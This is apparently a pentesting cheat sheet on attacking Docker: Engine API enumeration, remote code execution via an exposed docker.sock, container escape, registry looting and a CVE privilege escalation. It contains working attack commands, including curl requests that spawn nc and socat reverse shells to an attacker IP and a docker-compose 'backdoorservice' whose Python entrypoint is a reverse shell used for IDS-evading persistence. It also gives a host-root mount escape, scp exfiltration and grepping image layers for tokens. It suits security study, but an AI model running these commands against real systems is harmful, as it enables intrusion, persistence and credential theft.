Docker Pentesting
Docker is a set of platform as a service products that use OS-level virtualization to deliver software in packages called containers. Default ports are 2375, 2376.
Investigation
Find Docker Binary
If we cannot use docker
command by default, we need to find the docker binary.
Basic Commands
# List images
docker images
docker image ls
# The history of an image
docker image history <image-name>
# List containers running
docker container ls
# or
docker ps
# List all containers
docker container ls -a
# or
docker ps -a
# List secrets
docker secret ls
# Check configuration of container
docker inspect --format='{{json .Config}}' <container_id_or_name>
# Get a port which is used by the container
docker port <container_id_or_name>
# Scan vulnerabilies (CVEs)
docker scan cves <image>
docker scan cves alpine
# View the SBOM (Software Bill of Materials) for an image
# We can investigate vulnerabilities from the list of packages.
docker sbom alpine:latest
# Json format
docker sbom alpine:latest --format syft-json
# Spawn the shell in the container
docker exec -it <container_id> /bin/bash
# Kill the running docker container
docker kill <container_id>
Check if Containers Running
In target machine, observe the network status by running netstat
or ss
command.
netstat -punta
# or
ss -ltu
# -------------------------------------------------------
tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN -
Basic Operations
Run a New Container
First check the docker images listed.
Then run a new container from the image.
# -d: detached mode (background)
# -p: map the port of the host to the port in the container
docker run -dp 80:80 <image-name>
If you want to run a new container from a remote repository, run the following.
# --rm: Removes the anonymous volumes when the container is removed
# -i: interactive
# -t: tty
# --network=host: The container is not isolated from the Docker host. The IP address is your own home IP address.
docker run --rm -it --network=host <repository>/<image>
# /bin/bash: spawn a shell within the container
docker run -it nginx /bin/bash
Start a Container which is stopped
# List all containers and check the target ID
docker container ls -a
# Start the container
docker container start <container-id>
Run Commands in a Container
# List containers running and check the target container ID
docker ps
# Run commands by giving the container ID
docker exec <container-id> whoami
docker exec <container-id> cat sample.txt
Stop a Container
# List running containers and check the target container ID
docker ps
# Stop the container by giving the ID
docker stop <container-id>
Remove a Container
# List all containers and check the target container ID
docker ps -a
# Remove the container by givine the ID
docker rm <container-id>
# Force to remove the running container (-f)
docker rm -f <container-id>
Build a Container Image
First off, create a Dockerfile in the root directory of the project.
FROM node:12-alpine
RUN apk add --no-cache python2 g++ make
WORKDIR /app
COPY . .
RUN yarn install --production
CMD ["node", "src/index.js"]
Now run the following command to build the container image.
This command uses the Dockerfile.
Scan a Container Image
Pull a Docker Image
We need to download a docker image to start a container at first.
docker pull <image>
docker pull nginx
# Specify a tag
docker pull <image>:<tag>
docker pull nginx:latest
docker pull nginx:stable
Remove a Docker Image
# List images and check the target image ID
docker images
# Remove the image by giving the ID
docker rmi <image-id>
Publish a Docker Image
Before doing below, you need to sign up the Docker Hub and sign in, then create a new repository in your dashboard.
# Login
docker login -u <your-username>
# Tag a new image
docker tag <source-image> <your-username>/<target-image>
# Push
docker push <your-username>/<target-image>
Docker Engine API Pentesting
The Docker Engine API is a RESTfull API accessed by an HTTP client. The default ports are 2375, 2376. The socket file is located at /var/run/docker.sock.
- [engine/api/v1.24](https://docs.docker.com/engine/api/v1.24/)
- [dejandayoff.com](https://dejandayoff.com/the-danger-of-exposing-docker.sock/)
Enumeration
curl <ip>:2375/containers/json
# The specific container
curl <ip>:2375/containers/<id or name>/json
# Logs
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1
# Inpsect changes
curl <ip>:2375/containers/<id or name>/changes
Privilege Escalation from Docker Image
We may be able to get a root shell from remote Docker images.
1. Check if Docker is Running in Local Machine
In local machine, check if docker is running.
If the docker is not running, start it.
2. List Remote Docker Images
We need to find what images exist in target Docker API.
3. Get a Shell
After getting an image, we can use it to create a new container and run with executing sh
.
Now we should get a root shell.
Remote Code Execution (RCE)
Reference: https://dejandayoff.com/the-danger-of-exposing-docker.sock/
We might be able to execute remote code by create a new container image using the existing one.
1. Check the Image Name
First we need to find the existing container image and the name of it.
2. Create/Start a New Container
If we found the container image name, prepare a new container configuration named “image.json”.
Then create a new container using Docker Engine API.
We get the new container ID, so copy it.
After that, start the new container.
3. Create a New Exec Instance
Next create a exec instance to reverse shell.
- Ncat
curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["nc", "10.0.0.1", "4444", "-e", "/bin/bash"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
- Socat
curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["socat", "TCP:10.0.0.1:4444", "EXEC:sh"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
We get a exec ID, so copy it.
4. Start an Exec Instance & Reverse Shell
Start a listener in local machine.
Now start an exec instance and get a shell.
curl -X POST -H "Content-Type: application/json" --data-binary '{"Detach": false, "Tty": false}' <ip>:2375/exec/<exec_id>/start
We should get a shell.
Docker Escape
Docker escape refers to a security vulnerability that could potentially allow an attacker to break out of a Docker container and gain access to the host system or other containers running on the same host.
- [hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation)
- [PwnPeter](https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25)
Investigation
If we are in the docker container, we first need to investigate basic information about the container.
# Environment variables
env
# Command path
echo $PATH
ls -al /usr/local/bin
ls -al /usr/local/sbin
ls -al /usr/bin
ls -al /bin
# Bash history
cat /root/.bash_history
cat /home/<username>/.bash_history
# Interesting Directories
ls -al /etc
ls -al /mnt
ls -al /opt
ls -al /srv
ls -al /var/www
ls -al /var/tmp
ls -al /tmp
ls -al /dev/shm
# Cron
cat /etc/cron*
crontab -l
# Process
ps aux
ps aux | cat
# https://github.com/DominicBreuker/pspy
./pspy64
# Network
ip addr
netstat -punta
ss -ltu
cat /etc/hosts
# Port scan another host
nmap 172.17.0.1
for i in {1..65535}; do (echo > /dev/tcp/172.17.0.1/$i) >/dev/null 2>&1 && echo $i is open; done
# SSH
ssh <user>@<another_host>
# Check if docker command is available.
# If not, find the command in the container.
docker -h
find / -name "docker" 2>/dev/null
# Container capabilities
capsh --print
Access Another Host
If we found another host but cannot access it by restrictions, we need to port forward.
Please see details for port fowarding.
Import Required Binary from Local Machine
The container generally has few command that we want to use to exploit, so we need to import manually the command binaries if we need.
Below are examples to transfer arbitrary binary into the docker container.
Mounting
Check disks or mounted folders and we might be able to see the directories of the host system.
See Linux Privilege Escalation for details.
1. List Disks/Mounted Folders
2. Mount Folder
If we find a folder which is not mounted in the container, mount it to go inside the directory.
Now we can observe inside the /mnt/tmp
directory.
Privilege Escalation to Root
Please see Linux Privilege Escalation.
Run Vulnerable Docker Image
According to Hacktricks, we can escape a docker container with the vulnerable image.
Execute the following command in the target machine where a docker container is running..
Download Interesting Files
Also we can use “scp” under the condition that the local machine opens SSH server.
# In local machine
sudo systemctl start ssh
# In remote machine
scp ./example.txt <username>@<local-ip>:/home/<username>/example.txt
Run Existing Docker Image
1. Check if current user belongs to "docker" group
2. List Docker Images
3. Start Container and Get Shell
If we found Docker images running, we can use it to get a root shell Replace “example” with the docker image you found.
# -v: Mount the host directory ('/') to the '/mnt' directory in the container.
# --rm: Automatically remove the container when it exits.
# -it: Interective and TTY
# chroot /mnt sh: Change the root directory of the current process to the '/mnt' directory, then execute 'sh' command to get a shell as root.
docker run -v /:/mnt --rm -it example chroot /mnt sh
Alternatively we can use following commands.
# --entrypoint=/bin/bash: Override the default entrypoint to '/bin/bash', which means that when the container starts, it will launch a bash shell.
docker run -it --entrypoint=/bin/bash -v /:/mnt/ <image>:<tag>
# e.g.
docker run -it --entrypoint=/bin/bash -v /:/mnt/ example:master
After that, you can investigate sensitive information in the /mnt/
folders.
Docker Socket Escape
Reference: https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25
Establish Persistence After PrivEsc
After that you invaded the docker container, you might be able to make it persistence while evading the IDS alerts by creating a docker compose file and abusing the entrypoint option to grant you a reverse shell.
Create a ~/docker-compose.yaml in the container.
You need to replace the <image>
, <local-ip>
, <local-ip>
with your environment.
version: "2.1"
services:
backdoorservice:
restart: always
image: <image>
entrypoint: >
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<local-ip>",<local-ip>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")'
volumes:
- /:/mnt
privileged: true
Then start listener in your local machine.
Now run the docker compose in remote machine. You should gain a shell.
Amazon Elastic Container Registry (ECR) Public Gallery
1. Run the Docker Container
- Retrieve a Container Image
- Check if It was Pulled
- Run the Container and Interect with It
2. Get Sensitive Information in the Container
You may be able to get the interesting data like api_key.
3. Get Sensitive Information in Local Machine
-
Check the Container Config and Retrieve Sensitive Information
Process the following flows in your local machine.
mkdir example
cd example/
docker save -o example.tar public.ecr.aws/<registry-alias>/<repository>:latest
tar -xf example.tar
# Config files
cat manifest.json | jq
cat f9ab.......json | jq
# Also config file in each directory
cd 2246f........../
tar -xvf layer.tar
# Get sensitive information
grep -e 'token' -e 'secret' */*
Docker Registry Pentesting
Docker Registry is a steteless, highly scalable server side application that stores and lets you distribute Docker images. A default port is 5000.
- [tbhaxor.com](https://tbhaxor.com/exploiting-insecure-docker-registry/)
Endpoints
/v2/_catalog
/v2/<repository>/tags/list
# We can download the manifest given tag.
/v2/<repository>/manifests/<tag>
Extract Layers
If we download the manifest with the above, see the content and blobsums (sha256:abcd...) in fsLayers.
After extracting tar files, investigate files or directories to find the sensitive information.
Moby Docker Engine PrivEsc
Directory Traversal & Arbitrary Command Execution (CVE-2021-41091 )
1. Find Docker Container Directory
First off, find the directory which the docker container mounted
Assume the directory above found, we can investigate in the directory.
2. Prepare SUID Binary in Container
If we can be root in the docker container, set uid arbitrary binary as below. Please note that we need to do that in the container, not the real host.
3. Execute the SUID Binary in Real Host
Back to the real host machine again, execute the binary which we set uid to privilege escalation.
We should get a root shell.